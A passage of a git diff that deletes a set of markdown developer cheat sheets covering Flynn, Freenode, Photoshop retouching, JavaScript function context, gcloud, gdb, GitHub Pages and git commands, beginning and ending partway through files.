-git push flynn master
-```
-
-### Commands
-
-#### Environment vars
-
-```bash
-flynn env
-flynn env set FOO=bar BAZ=foobar
-flynn env unset FOO
-```
-
-#### Scale
-
-```bash
-flynn ps
-flynn scale web=3
-```
-
-#### Logs
-
-```bash
-flynn log
-flynn log flynn-d55c7a...
-```
-
-#### Running commands
-
-```bash
-flynn run rake db:migrate
-```
-
-#### Manage routes
-
-```bash
-flynn route
-flynn route add http example.com
-# then make a CNAME from example.com to myapp.xxxx.flynnhub.com
-```
-
-#### More
-
-```bash
-flynn ps
-flynn kill <job>
-
-flynn meta
-flynn meta set foo=baz
-```
-
-### Also see
-
--   [Flynn website](https://flynn.io) _(flynn.io)_
diff --git a/docs/content/cheat-sheets/freenode.md b/docs/content/cheat-sheets/freenode.md
deleted file mode 100644
index 793dc782a3..0000000000
--- a/docs/content/cheat-sheets/freenode.md
+++ /dev/null
@@ -1,26 +0,0 @@
----
-title: Freenode
-
-tags: [WIP]
----
-
-### IRC server
-
-```
-irc.freenode.net
-```
-
-### NickServ commands
-
-```
-/msg nickserv identify [nick] <password>
-/msg nickserv info <nick>
-```
-
-### Add a nick
-
-```
-/nick newnick
-/msg nickserv identify <oldnick> <password>
-/msg nickserv group
-```
diff --git a/docs/content/cheat-sheets/frequency-separation-retouching.md b/docs/content/cheat-sheets/frequency-separation-retouching.md
deleted file mode 100644
index 3c1a3769f0..0000000000
--- a/docs/content/cheat-sheets/frequency-separation-retouching.md
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: Frequency separation retouching
-category: Others
----
-
-### Frequency separation retouching in Photoshop
-
-Duplicate the layer twice. Perform these in each layer:
-{: .-setup}
-
-#### Lower layer
-
--   Apply **Gaussian Blur**
-
-#### Upper layer
-
--   Set layer mask to **Linear light**
--   Image → **Apply Image**
-    -   Layer: _(select the lower layer)_
-    -   Blending mode: `Subtract`
-    -   Scale: `2`
-    -   Offset: `128`
-
-### Reference
-
--   <https://phlearn.com/amazing-power-frequency-separation-retouching-photoshop>
-    {: .-also-see}
diff --git a/docs/content/cheat-sheets/function-context-cheatsheet.md b/docs/content/cheat-sheets/function-context-cheatsheet.md
deleted file mode 100644
index 49b6c6a887..0000000000
--- a/docs/content/cheat-sheets/function-context-cheatsheet.md
+++ /dev/null
@@ -1,126 +0,0 @@
-# Function Context Cheatsheet
-
-## Types of Invocation
-
--   Applies to only **named** and **unnamed** functions
--   **Doesn't matter** for fat arrow functions
-
-### Function-style invocation
-
--   Context of the function will be global context **UNLESS** binded
-
-### Method-style invocation
-
--   Context of the function will be the object which the function is called on **UNLESS** binded
-
-```js
-const obj = {
-    name: 'Example Object',
-    unnamedFunc: function () {
-        console.log(this.name);
-    }
-};
-
-// Method-style invocation
-obj.unnamedFunc(); // 'Example Object'
-
-// Function-style invocation
-const unnamedFunc = obj.unnamedFunc;
-unnamedFunc(); // Global context
-```
-
-## Types of Functions
-
-### Named Function
-
--   explicit `return` keyword required
--   curly braces `{}` around function body
--   **NOT** saved to a variable
--   parameters must be surrounded by parentheses `()`
--   context is defined by how it's invoked or called
-    -   function-style: global context
-    -   method-style: context is object that function is being called on
--   calling `bind` on the function will return a function binded to the context of the `bind` argument
-
----
-
-```js
-function namedFunc(params) {
-    return 'named function';
-}
-```
-
-```js
-// bindedNamedFunc will have the context of obj
-const bindedNamedFunc = namedFunc.bind(obj);
-```
-
-### Unnamed Function
-
--   explicit `return` keyword required
--   curly braces `{}` around function body
--   **MUST** be saved to a variable
--   parameters must be surrounded by parentheses `()`
--   context is defined by how it's invoked or called
-    -   function-style: global context
-    -   method-style: context is object that function is being called on
--   calling `bind` on the function will return a function binded to the context of the `bind` argument
-
-```js
-const unnamedFunc = function (params) {
-    return 'unnamed function';
-};
-```
-
-```js
-// bindedUnnamedFunc will have the context of obj
-const bindedUnnamedFunc = unnamedFunc.bind(obj);
-```
-
-### Explicit Fat Arrow Function
-
--   explicit `return` keyword required
--   curly braces `{}` around function body
--   **MUST** be saved to a variable
--   parameters must be surrounded by parentheses `()` **IF more than one parameter**
--   takes the context of where it's defined
--   **CANNOT** be binded using `bind`
-
-```js
-const explicitFatArrow = (params) => {
-    return 'explicit fat arrow function';
-};
-```
-
-### Implicit Fat Arrow Function
-
--   **NO** `return` keyword
--   function body can only consist of what is being returned
--   Optional parentheses `()` around function body
-
-> NOTE: Parentheses needs to be used if returning an object `ex: ({ key: value })`
-
--   **MUST** be saved to a variable
--   parameters must be surrounded by parentheses `()` **IF more than one parameter**
--   takes the context of where it's defined
--   **CANNOT** be binded using `bind`
-
-```js
-const implicitFatArrow = (params) => 'implicit fat arrow function';
-```
-
-```js
-const implicitFatArrow = (params) => 'implicit fat arrow function';
-```
-
-```js
-const implicitFatArrow = (params) => ({
-    function: 'implicit fat arrow'
-});
-```
-
-## Bind
-
--   `bind` accepts multiple arguments
--   first argument is the context that you want to bind the function to
--   any arguments that come afterwards will be passed in when the bound function is called **BEFORE** the call time arguments
diff --git a/docs/content/cheat-sheets/gcp.md b/docs/content/cheat-sheets/gcp.md
deleted file mode 100644
index 11c9ce2fa5..0000000000
--- a/docs/content/cheat-sheets/gcp.md
+++ /dev/null
@@ -1,165 +0,0 @@
-# GCLOUD SDK AND TOOLBELT CHEATSHEET
-
-## GCP BASICS
-
--   `Check Version and Settings`: gcloud version, gcloud info, gcloud components list
-
--   `Init Profile`: gcloud init This will ask you to open an OpenID URL
-
--   `List all zones`: gcloud compute zones list
-
--   `Upgrade local SDK`: gcloud components update, gcloud components update --version 219.0.1
-
-## BUCKET BASICS
-
--   `List all buckets and files`: gsutil ls, gsutil ls -lh gs://<bucket-name>
-
--   `Download file`: gsutil cp gs://<bucket-name>/<dir-path>/package-1.1.tgz .
-
--   `Upload file`: gsutil cp <filename> gs://<bucket-name>/<directory>/
-
--   `Cat file`: gsutil cat gs://<bucket-name>/<filepath>/
-
--   `Delete file`: gsutil rm gs://<bucket-name>/<filepath>
-
--   `Move file`: gsutil mv <src-filepath> gs://<bucket-name>/<directory>/<dest-filepath>
-
--   `Copy folder`: gsutil cp -r ./conf gs://<bucket-name>/
-
--   `Show disk usage`: gsutil du -h gs://<bucket-name>/<directory>/
-
--   `Create bucket`: gsutil mb gs://<bucket-name>
-
--   `Caculate file sha1sum`: gsha1sum syslog-migration-10.0.2.tgz, shasum syslog-migration-10.0.2.tgz
-
--   `Gsutil help`: gsutil help, gsutil help cp, gsutil help options
-
-## GCP PROJECT
-
--   `List projects `: gcloud config list, gcloud config list project
-
--   `Show project info `: gcloud compute project-info describe
-
--   `Switch project `: gcloud config set project <project-id>
-
-## GKE
-
--   `Display a list of credentialed accounts `: gcloud auth list
-
--   `Set the active account `: gcloud config set account <ACCOUNT>
-
--   `Set kubectl context `: gcloud container clusters get-credentials <cluster-name>
-
--   `Change region `: gcloud config set compute/region us-west
-
--   `Change zone `: gcloud config set compute/zone us-west1-b
-
--   `List all container clusters `: gcloud container clusters list
-
-## IAM
-
--   `Authenticate client `: gcloud auth activate-service-account --key-file <key-file>
-
--   `Display a list of credentialed accounts `: gcloud auth list
-
--   `Set the active account `: gcloud config set account <ACCOUNT>
-
--   `Auth to GCP Container Registry `: gcloud auth configure-docker
-
--   `Print token for active account `: gcloud auth print-access-token, gcloud auth print-refresh-token
-
--   `Revoke previous generated credential `: gcloud auth <application-default> revoke
-
-## BUCKET SECURITY
-
--   `Make all files readable `: gsutil -m acl set -R -a public-read gs://<bucket-name>/
-
--   `Config auth `: gsutil config -a
-
--   `Grant bucket access `: gsutil iam ch user:denny@gmail.com:objectCreator,objectViewer gs://<bucket-name>
-
--   `Remove bucket access `: gsutil iam ch -d user:denny@gmail.com:objectCreator,objectViewer gs://<bucket-name>
-
-## VM
-
--   `List all instances `: gcloud compute instances list, gcloud compute instance-templates list
-
--   `Show instance info `: gcloud compute instances describe "<instance-name>" --project "<project-name>" --zone "us-west2-a"
-
--   `Stop an instance `: gcloud compute instances stop instance-2
-
--   `Start an instance `: gcloud compute instances start instance-2
-
--   `Create an instance `: gcloud compute instances create vm1 --image image-1 --tags test --zone "<zone>" --machine-type f1-micro
-
--   `SSH to instance `: gcloud compute ssh --project "<project-name>" --zone "<zone-name>" "<instance-name>"
-
--   `Download files `: gcloud compute copy-files example-instance:~/REMOTE-DIR ~/LOCAL-DIR --zone us-central1-a
-
--   `Upload files `: gcloud compute copy-files ~/LOCAL-FILE-1 example-instance:~/REMOTE-DIR --zone us-central1-a
-
-## DISKS & VOLUMES
-
--   `List all disks `: gcloud compute disks list
-
--   `List all disk types `: gcloud compute disk-types list
-
--   `List all snapshots `: gcloud compute snapshots list
-
--   `Create snapshot `: gcloud compute disks snapshot <diskname> --snapshotname <name1> --zone $zone
-
-## NETWORK
-
--   `List all networks `: gcloud compute networks list
-
--   `Detail of one network `: gcloud compute networks describe <network-name> --format json
-
--   `Create network `: gcloud compute networks create <network-name>
-
--   `Create subnet `: gcloud compute networks subnets create subnet1 --network net1 --range 10.5.4.0/24
-
--   `Get a static ip `: gcloud compute addresses create --region us-west2-a vpn-1-static-ip
-
--   `List all ip addresses `: gcloud compute addresses list
-
--   `Describe ip address `: gcloud compute addresses describe <ip-name> --region us-central1
-
--   `List all routes `: gcloud compute routes list
-
-## DNS
-
--   `List of all record-sets in my zone `: gcloud dns record-sets list --zone my_zone
-
--   `List first 10 DNS records `: gcloud dns record-sets list --zone my_zone --limit=10
-
-## FIREWALL
-
--   `List all firewall rules `: gcloud compute firewall-rules list
-
--   `List all forwarding rules `: gcloud compute forwarding-rules list
-
--   `Describe one firewall rule `: gcloud compute firewall-rules describe <rule-name>
-
--   `Create one firewall rule `: gcloud compute firewall-rules create my-rule --network default --allow tcp:9200 tcp:3306
-
--   `Update one firewall rule `: gcloud compute firewall-rules update default --network default --allow tcp:9200 tcp:9300
-
-## IMAGES & CONTAINERS
-
--   `List all images `: gcloud compute images list
-
--   `List all container clusters `: gcloud container clusters list
-
--   `Set kubectl context `: gcloud container clusters get-credentials <cluster-name>
-
-## RDS
-
--   `List all sql instances `: gcloud sql instances list
-
-## SERVICES
-
--   `List my backend services `: gcloud compute backend-services list
-
--   `List all my health check endpoints `: gcloud compute http-health-checks list
-
--   `List all URL maps `: gcloud compute url-maps list
diff --git a/docs/content/cheat-sheets/gdb.md b/docs/content/cheat-sheets/gdb.md
deleted file mode 100644
index 4d34b60b81..0000000000
--- a/docs/content/cheat-sheets/gdb.md
+++ /dev/null
@@ -1,109 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To start the debugger:
-
-gdb your-executable
-
-# To set a breakpoint:
-
-b some-method, break some-method
-
-# To delete all breakpoints
-
-clear
-
-# To run the program:
-
-r, run
-
-# To run the current line, stepping over any invocations:
-
-n, next
-
-# To run the current line, stepping into any invocations:
-
-s, step
-
-# To continue execution:
-
-c, continue
-
-# To exit gdb (after program terminated):
-
-q, quit
-
-# To print a stacktrace:
-
-bt, backtrace
-
-# To print a stacktrace with local variables:
-
-backtrace full
-
-# To print the arguments to the funtion of the current stack frame:
-
-info args
-
-# To print the local variables in the currently selected stack frame:
-
-info locals
-
-# To print a list of all the threads:
-
-info threads
-
-# To print a list of all the loaded shared libraries:
-
-info sharedlibrary
-
-# To evaluate an expression and print the result:
-
-p length=strlen(string)
-
-# To list surrounding source code:
-
-l, list
-
-# Disassemble the current function or given location
-
-disassemble
-disassemble {LOCATION}
-
-# Examine content at address with a format and letter size:
-
-x/{COUNT}{FMT}{SIZE} {ADDRESS}
-
-# Formats:
-
-a # Address
-i # Instruction
-t # Binary
-o # Octal
-h # Hex
-z # Hex, zero padded
-d # Decimal
-u # Unsigned decimal
-f # Float
-c # Char
-s # String
-
-# Sizes:
-
-b # 8bits - byte
-h # 16bits - halfword
-w # 32bits - word
-g # 64bits - giant
diff --git a/docs/content/cheat-sheets/general.md b/docs/content/cheat-sheets/general.md
deleted file mode 100644
index 23d342b491..0000000000
--- a/docs/content/cheat-sheets/general.md
+++ /dev/null
@@ -1 +0,0 @@
-# General
diff --git a/docs/content/cheat-sheets/gh-pages.md b/docs/content/cheat-sheets/gh-pages.md
deleted file mode 100644
index 75ed54f3c0..0000000000
--- a/docs/content/cheat-sheets/gh-pages.md
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: GitHub pages
-category: Jekyll
-
----
-
-## Custom domains
-
-### Custom domains
-
-```sh
-$ echo "foobar.com" > CNAME
-$ git commit && git push
-```
-
-Create a `CNAME` file with your domain on it.
-
-See: [Setting up a custom domain](https://help.github.com/articles/quick-start-setting-up-a-custom-domain/) _(github.com)_
-
-### Set up your domain
-
-Subdomain (like www):
-{: .-setup}
-
-     CNAME => username.github.io
-
-Apex domains:
-{: .-setup}
-
-     ALIAS => username.github.io
-
-Apex domains (alternative):
-{: .-setup}
-
-    A => 192.30.252.153
-    A => 192.30.252.154
-
-## References
-
-{: .-one-column}
-
--   <https://pages.github.com>
diff --git a/docs/content/cheat-sheets/git-branch.md b/docs/content/cheat-sheets/git-branch.md
deleted file mode 100644
index edd3b4b922..0000000000
--- a/docs/content/cheat-sheets/git-branch.md
+++ /dev/null
@@ -1,119 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Git branches
-category: Git
-
----
-
-## Working with branches
-
-### Creating
-
-```bash
-git checkout -b $branchname
-git push origin $branchname --set-upstream
-```
-
-Creates a new branch locally then pushes it.
-
-### Getting from remote
-
-```bash
-git fetch origin
-git checkout --track origin/$branchname
-```
-
-Gets a branch in a remote.
-
-### Delete local remote-tracking branches
-
-```bash
-git remote prune origin
-```
-
-Deletes `origin/*` branches in your local copy. Doesn't affect the remote.
-
-### List existing branches
-
-```bash
-git branch --list
-```
-
-Existing branches are listed. Current branch will be highlighted with an asterisk.
-
-### List merged branches
-
-```bash
-git branch -a --merged
-```
-
-List outdated branches that have been merged into the current one.
-
-### Delete a local branch
-
-```bash
-git branch -d $branchname
-```
-
-Deletes the branch only if the changes have been pushed and merged with remote.
-
-### Delete branch forcefully
-
-```bash
-git branch -D $branchname
-```
-
-```bash
-git branch -d $branchname
-```
-
-> Note: You can also use the -D flag which is synonymous with --delete --force instead of -d. This will delete the branch regardless of its merge status.
-> Delete a branch irrespective of its merged status.
-
-### Delete remote branch
-
-```bash
-git push origin --delete :$branchname
-```
-
-Works for tags, too!
-
-### Get current sha1
-
-```bash
-git show-ref HEAD -s
-```
-
-### Reset branch and remove all changes
-
-```bash
-git reset --hard
-```
-
-### Undo commits to a specific commit
-
-```bash
-git reset --hard $commit_id
-
-# Now push safely to your branch
-git push --force-with-lease
-
-# Or push brutally to your branch
-git push --force
-```
diff --git a/docs/content/cheat-sheets/git-extras.md b/docs/content/cheat-sheets/git-extras.md
deleted file mode 100644
index 4e5e6142e9..0000000000
--- a/docs/content/cheat-sheets/git-extras.md
+++ /dev/null
@@ -1,103 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Git extras
-category: Git
-
-intro: |
-Quick reference to some utilities in the [git-extras](https://github.com/tj/git-extras) utilities.
-
----
-
-## References
-
-### Git-flow
-
-```sh
-$ git feature myfeature
-  switched to branch 'feature/rofl'
-
-$ ...
-$ git checkout develop
-$ git feature finish myfeature
-  merging 'feature/rofl' into develop
-  deleted branch 'feature/rofl'
-```
-
-Also `git-bug` and `git-refactor`.
-
-### Branches
-
-```sh
-$ git delete-merged-branches
-  # hint: do `git remote prune origin` after
-
-$ git create-branch development
-$ git delete-branch development
-
-$ git fresh-branch gh-pages
-```
-
-### Inspecting
-
-```sh
-$ git summary   # repo age, commits, active days, etc
-$ git impact    # impact graph
-$ git effort    # commits per file
-```
-
-### Github
-
-```sh
-$ git fork strongloop/express
-# sync your fork with the original repository:
-$ git remote add upstream https://github.com/ORIGINAL_OWNER/ORIGINAL_REPOSITORY.git
-$ git fetch upstream; git merge upstream/master
-```
-
-### Tags
-
-```sh
-$ git release v1.0.0           # commit, tag, push-tags
-$ git delete-tag v1.0.0
-```
-
-### Conveniences
-
-```sh
-$ git ignore "*.log"
-```
-
-### Locking
-
-Assumes that changes will not be committed.
-
-```sh
-$ git lock config/database.yml
-$ git unlock config/database.yml
-```
-
-### Etc
-
-```sh
-$ git obliterate secret.yml   # remove all references to it
-```
-
-### References
-
--   https://github.com/visionmedia/git-extras
diff --git a/docs/content/cheat-sheets/git-log-format.md b/docs/content/cheat-sheets/git-log-format.md
deleted file mode 100644
index 3b408a207c..0000000000
--- a/docs/content/cheat-sheets/git-log-format.md
+++ /dev/null
@@ -1,130 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Git log format string
-category: Git
-
-weight: -1
-keywords:
-
--   "git log --pretty=format:%H"
--   "%H - Commit hash"
--   "%an - Author"
--   "%aD - Author date"
-
----
-
-## Log format
-
-### Pretty format
-
-```bash
-git log --pretty="format:%H"
-```
-
-See the next tables on format variables.
-
-### Hash
-
-#### Commit
-
-| Variable | Description          |
-| -------- | -------------------- |
-| `%H`     | commit hash          |
-| `%h`     | (abbrev) commit hash |
-
-#### Tree
-
-| Variable | Description        |
-| -------- | ------------------ |
-| `%T`     | tree hash          |
-| `%t`     | (abbrev) tree hash |
-
-#### Parent
-
-| Variable | Description          |
-| -------- | -------------------- |
-| `%P`     | parent hash          |
-| `%p`     | (abbrev) parent hash |
-
-### Commit
-
-| Variable | Description                    |
-| -------- | ------------------------------ |
-| `%s`     | commit subject                 |
-| `%f`     | commit subject, filename style |
-| `%b`     | commit body                    |
-| ---      | ---                            |
-| `%d`     | ref names                      |
-| `%e`     | encoding                       |
-
-## Author and committer
-
-### Author
-
-#### Name
-
-| Variable | Description                |
-| -------- | -------------------------- |
-| `%an`    | author                     |
-| `%aN`    | author, respecting mailmap |
-
-#### Email
-
-| Variable | Description                      |
-| -------- | -------------------------------- |
-| `%ae`    | author email                     |
-| `%aE`    | author email, respecting mailmap |
-
-#### Date
-
-| Variable | Description                  |
-| -------- | ---------------------------- |
-| `%aD`    | author date (rfc2882)        |
-| `%ar`    | author date (relative)       |
-| `%at`    | author date (unix timestamp) |
-| `%ai`    | author date (iso8601)        |
-
-### Committer
-
-#### Name
-
-| Variable | Description                        |
-| -------- | ---------------------------------- |
-| `%cn`    | committer name                     |
-| `%cN`    | committer name, respecting mailmap |
-
-#### Email
-
-| Variable | Description                         |
-| -------- | ----------------------------------- |
-| `%ce`    | committer email                     |
-| `%cE`    | committer email, respecting mailmap |
-
-#### Date
-
-| Variable | Description                     |
-| -------- | ------------------------------- |
-| `%cD`    | committer date (rfc2882)        |
-| `%cr`    | committer date (relative)       |
-| `%ct`    | committer date (unix timestamp) |
-| `%ci`    | committer date (iso8601)        |
-
-## Also see
-
--   [Git log cheatsheet](./git-log)
diff --git a/docs/content/cheat-sheets/git-log.md b/docs/content/cheat-sheets/git-log.md
deleted file mode 100644
index 343f7cf17b..0000000000
--- a/docs/content/cheat-sheets/git-log.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# git log
-
-#### Revision ranges
-
-```bash
-git log master             # branch
-git log origin/master      # branch, remote
-git log v1.0.0             # tag
-
-git log master develop
-
-git log v2.0..master       # reachable from *master* but not *v2.0*
-git log v2.0...master      # reachable from *master* and *v2.0*, but not both
-```
-
-See gitrevisions.
-
-#### Basic filters
-
-```bash
--n, --max-count=2
-    --skip=2
-```
-
-```bash
-    --since="1 week ago"
-    --until="yesterday"
-```
-
-```bash
-    --author="Rico"
-    --committer="Rico"
-```
-
-#### Search
-
-```bash
-    --grep="Merge pull request"   # in commit messages
-    -S"console.log"               # in code
-    -G"foo.*"                     # in code (regex)
-```
-
-```bash
-    --invert-grep
-    --all-match                   # AND in multi --grep
-```
-
-#### Limiting
-
-```bash
-    --merges
-    --no-merges
-```
-
-```bash
-    --first-parent          # no stuff from merged branches
-```
-
-```bash
-    --branches="feature/*"
-    --tags="v*"
-    --remotes="origin"
-```
-
-#### Simplification
-
-```bash
-git log -- app/file.rb          # only file
-    --simplify-by-decoration    # tags and branches
-```
-
-#### Ordering
-
-```bash
-    --date-order
-    --author-date-order
-    --topo-order              # "smart" ordering
-    --reverse
-```
-
-#### Formatting
-
-```bash
-    --abbrev-commit
-    --oneline
-    --graph
-```
-
-#### Custom formats
-
-```bash
-    --pretty="format:%H"
-```
-
-See: Git log format cheatsheet
-
-### Also see
-
--   Git log format cheatsheet
diff --git a/docs/content/cheat-sheets/git-revisions.md b/docs/content/cheat-sheets/git-revisions.md
deleted file mode 100644
index adf2df83a3..0000000000
--- a/docs/content/cheat-sheets/git-revisions.md
+++ /dev/null
@@ -1,133 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Git revisions
-category: Git
-
-description: ""
-intro: |
-A list of revision specifications you can use with `git log` and many other Git commands. Summarized from `gitrevisions(7)` man page.
-
----
-
-### Example usages
-
-| _`git log`_ `master...develop` | inspect differences in branches |
-| _`git rebase -i`_ `HEAD~3` | rebase last 3 commits |
-| _`git reset --hard`_ `HEAD@{2}` | undo last operation that changed HEAD |
-| _`git checkout`_ `v2^{}` | checkout the `v2` tag (not `v2` branch) |
-{: .-mute-em}
-
-The 3rd argument in each of these commands is a `gitrevision`. These gitrevisions can be passed to many Git commands.
-
-### Common git revisions
-
-| Reference                    | Description                                     |
-| ---------------------------- | ----------------------------------------------- |
-| _`git show`_ `dae68e1`       | sha1                                            |
-| _`git show`_ `HEAD`          | reference                                       |
-| _`git show`_ `v1.0.0`        | tag                                             |
-| ---                          | ---                                             |
-| _`git show`_ `master`        | local branch                                    |
-| _`git show`_ `origin/master` | remote branch                                   |
-| ---                          | ---                                             |
-| _`git show`_ `master~2`      | 2 commits back from master                      |
-| ---                          | ---                                             |
-| _`git show`_ `master..fix`   | reachable from _fix_ but not _master_           |
-| _`git show`_ `master...fix`  | reachable from _fix_ and _master_, but not both |
-
-{: .-mute-em}
-
-These are just the common ones, there's a lot more below! (These work in many other commands, not just `git show`.)
-
-## Reference
-
-### Commits
-
-| _`git checkout`_ `dae68e1` | sha1 |
-{: .-mute-em}
-
-### References
-
-| Example                          | Description                       |
-| -------------------------------- | --------------------------------- |
-| _`git checkout`_ `HEAD`          | reference                         |
-| _`git checkout`_ `master`        | branch                            |
-| _`git checkout`_ `v1.0.0`        | tag                               |
-| ---                              | ---                               |
-| _`git checkout`_ `origin/master` | aka, _refs/remotes/origin/master_ |
-| _`git checkout`_ `heads/master`  | aka, _refs/heads/master_          |
-
-{: .-mute-em}
-
-### Searching back
-
-| Example                               | Description                              |
-| ------------------------------------- | ---------------------------------------- |
-| _`git checkout`_ `master@{yesterday}` | also _1 day ago_, etc                    |
-| _`git checkout`_ `master@{2}`         | 2nd prior value                          |
-| _`git checkout`_ `master@{push}`      | where _master_ would push to             |
-| ---                                   | ---                                      |
-| _`git checkout`_ `master^`            | parent commit                            |
-| _`git checkout`_ `master^2`           | 2nd parent, eg, what it merged           |
-| _`git checkout`_ `master~5`           | 5 parents back                           |
-| _`git checkout`_ `master^0`           | this commit; disambiguates from tags     |
-| ---                                   | ---                                      |
-| _`git checkout`_ `v0.99.8^{tag}`      | can be _commit_, _tag_, _tree_, _object_ |
-| _`git checkout`_ `v0.99.8^{}`         | defaults to _{tag}_                      |
-| ---                                   | ---                                      |
-| _`git checkout`_ `":/fix bug"`        | searches commit messages                 |
-
-{: .-mute-em}
-
-### Other
-
-| `HEAD:README` | ... |
-| `0:README` | (0 to 3) ... |
-
-## Ranges
-
-### Ranges
-
-| _`git log`_ `master` | reachable parents from master |
-| _`git log`_ `^master` | exclude reachable parents from master |
-| _`git log`_ `master..fix` | reachable from _fix_ but not _master_ |
-| _`git log`_ `master...fix` | reachable from _fix_ and _master_, but not both |
-| _`git log`_ `HEAD^@` | parents of _HEAD_ |
-| _`git log`_ `HEAD^!` | _HEAD_, then excluding parents's ancestors |
-| _`git log`_ `HEAD^{:/fix}` | search previous *HEAD*s matching criteria |
-{: .-mute-em}
-
-### Ranges illustration
-
-```nohighlight
-A ─┬─ E ── F ── G   master
-   │
-   └─ B ── C ── D   fix
-```
-
-{: .-box-chars.-setup}
-
-| _`git log`_ `master..fix` | BCD |
-| _`git log`_ `master...fix` | BCD and EFG |
-{: .-mute-em}
-
-## References
-
--   [Git Tools - Revision Selection](https://www.kernel.org/pub/software/scm/git/docs/gitrevisions.html) _(git-scm.com)_
--   [gitrevisions(7)](https://www.kernel.org/pub/software/scm/git/docs/gitrevisions.html) _(kernel.org)_
diff --git a/docs/content/cheat-sheets/git-tricks.md b/docs/content/cheat-sheets/git-tricks.md
deleted file mode 100644
index d9a4384813..0000000000
--- a/docs/content/cheat-sheets/git-tricks.md
+++ /dev/null
@@ -1,161 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Git tricks
-category: Git
-
----
-
-## Refs
-
-    HEAD^       # 1 commit before head
-    HEAD^^      # 2 commits before head
-    HEAD~5      # 5 commits before head
-
-## Branches
-
-    # create a new branch
-      git checkout -b $branchname
-      git push origin $branchname --set-upstream
-
-    # get a remote branch
-      git fetch origin
-      git checkout --track origin/$branchname
-
-    # delete local remote-tracking branches (lol)
-      git remote prune origin
-
-    # list merged branches
-      git branch -a --merged
-
-    # delete remote branch
-      git push origin :$branchname
-
-    # go back to previous branch
-      git checkout -
-
-## Collaboration
-
-    # Rebase your changes on top of the remote master
-      git pull --rebase upstream master
-
-    # Squash multiple commits into one for a cleaner git log
-    # (on the following screen change the word pick to either 'f' or 's')
-      git rebase -i $commit_ref
-
-## Submodules
-
-    # Import .gitmodules
-      git submodule init
-
-    # Clone missing submodules, and checkout commits
-      git submodule update --init --recursive
-
-    # Update remote URLs in .gitmodules
-    # (Use when you changed remotes in submodules)
-      git submodule sync
-
-## Diff
-
-### Diff with stats
-
-    git diff --stat
-    app/a.txt    | 2 +-
-    app/b.txt    | 8 ++----
-    2 files changed, 10 insertions(+), 84 deletions(-)
-
-### Just filenames
-
-    git diff --summary
-
-## Log options
-
-    --oneline
-      e11e9f9 Commit message here
-
-    --decorate
-      shows "(origin/master)"
-
-    --graph
-      shows graph lines
-
-    --date=relative
-      "2 hours ago"
-
-## Misc
-
-### Cherry pick
-
-    git rebase 76acada^
-
-### Misc
-
-    # get current sha1 (?)
-      git show-ref HEAD -s
-
-    # show single commit info
-      git log -1 f5a960b5
-
-    # Go back up to root directory
-      cd "$(git rev-parse --show-top-level)"
-
-## Short log
-
-     $ git shortlog
-     $ git shortlog HEAD~20..    # last 20 commits
-
-     James Dean (1):
-         Commit here
-         Commit there
-
-     Frank Sinatra (5):
-         Another commit
-         This other commit
-
-## Bisect
-
-    git bisect start HEAD HEAD~6
-    git bisect run npm test
-    git checkout refs/bisect/bad   # this is where it screwed up
-    git bisect reset
-
-### Manual bisection
-
-    git bisect start
-    git bisect good   # current version is good
-
-    git checkout HEAD~8
-    npm test          # see if it's good
-    git bisect bad    # current version is bad
-
-    git bisect reset  # abort
-
-## Searching
-
-    git log --grep="fixes things"  # search in commit messages
-    git log -S"window.alert"       # search in code
-    git log -G"foo.*"              # search in code (regex)
-
-## GPG Signing
-
-    git config set user.signingkey <GPG KEY ID>       # Sets GPG key to use for signing
-
-    git commit -m "Implement feature Y" --gpg-sign    # Or -S, GPG signs commit
-
-    git config set commit.gpgsign true                # Sign commits by default
-    git commit -m "Implement feature Y" --no-gpg-sign # Do not sign
diff --git a/docs/content/cheat-sheets/git.md b/docs/content/cheat-sheets/git.md
deleted file mode 100644
index 279b9fc46d..0000000000
--- a/docs/content/cheat-sheets/git.md
+++ /dev/null
@@ -1,237 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## tags: [vcs]
-
-# To set your identity:
-
-git config --global user.name <name>
-git config --global user.email <email>
-
-# To set your editor:
-
-git config --global core.editor <editor>
-
-# To enable color:
-
